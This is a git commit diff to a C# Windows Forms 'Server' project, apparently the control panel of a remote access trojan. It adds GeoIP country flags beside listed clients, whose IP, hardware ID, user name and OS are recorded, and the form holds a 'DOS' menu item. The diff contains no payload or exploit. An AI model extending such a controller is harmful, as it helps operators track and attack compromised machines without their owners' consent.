Added flags

This commit is contained in:
NYAN CAT 2019-12-14 23:06:20 +03:00
parent 4e42abd0c3
commit 8f28aed1d3
2 changed files with 20 additions and 6 deletions

View File

@ -16,6 +16,7 @@ using Server.Helper;
using System.Security.Cryptography.X509Certificates;
using System.Collections.Generic;
using System.Runtime.InteropServices;
using cGeoIp;
/*
Author : NYAN CAT
@ -31,6 +32,7 @@ namespace Server
public partial class Form1 : Form
{
private bool trans;
public cGeoMain cGeoMain = new cGeoMain();
private List<AsyncTask> getTasks = new List<AsyncTask>();
private ListViewColumnSorter lvwColumnSorter;
@ -44,6 +46,8 @@ namespace Server
Name = "DOS",
Text = "DOS",
};
listView1.SmallImageList = cGeoMain.cImageList;
listView1.LargeImageList = cGeoMain.cImageList;
}
#region Form Helper

View File

@ -35,16 +35,26 @@ namespace Server.Handle_Packet
catch { }
}
client.LV = new ListViewItem();
client.LV.Tag = client;
client.LV.Text = string.Format("{0}:{1}", client.TcpClient.RemoteEndPoint.ToString().Split(':')[0], client.TcpClient.LocalEndPoint.ToString().Split(':')[1]);
client.LV = new ListViewItem
{
Tag = client,
Text = string.Format("{0}:{1}", client.TcpClient.RemoteEndPoint.ToString().Split(':')[0], client.TcpClient.LocalEndPoint.ToString().Split(':')[1]),
};
string[] ipinf;
try
{
ipinf = new cGeoMain().GetIpInf(client.TcpClient.RemoteEndPoint.ToString().Split(':')[0]).Split(':');
ipinf = Program.form1.cGeoMain.GetIpInf(client.TcpClient.RemoteEndPoint.ToString().Split(':')[0]).Split(':');
client.LV.SubItems.Add(ipinf[1]);
try
{
client.LV.ImageKey = ipinf[2] + ".png";
}
catch { }
}
catch
{
client.LV.SubItems.Add("??");
}
catch { ipinf = new string[] { "?", "?" }; }
client.LV.SubItems.Add(ipinf[1]);
client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("HWID").AsString);
client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("User").AsString);
client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("OS").AsString);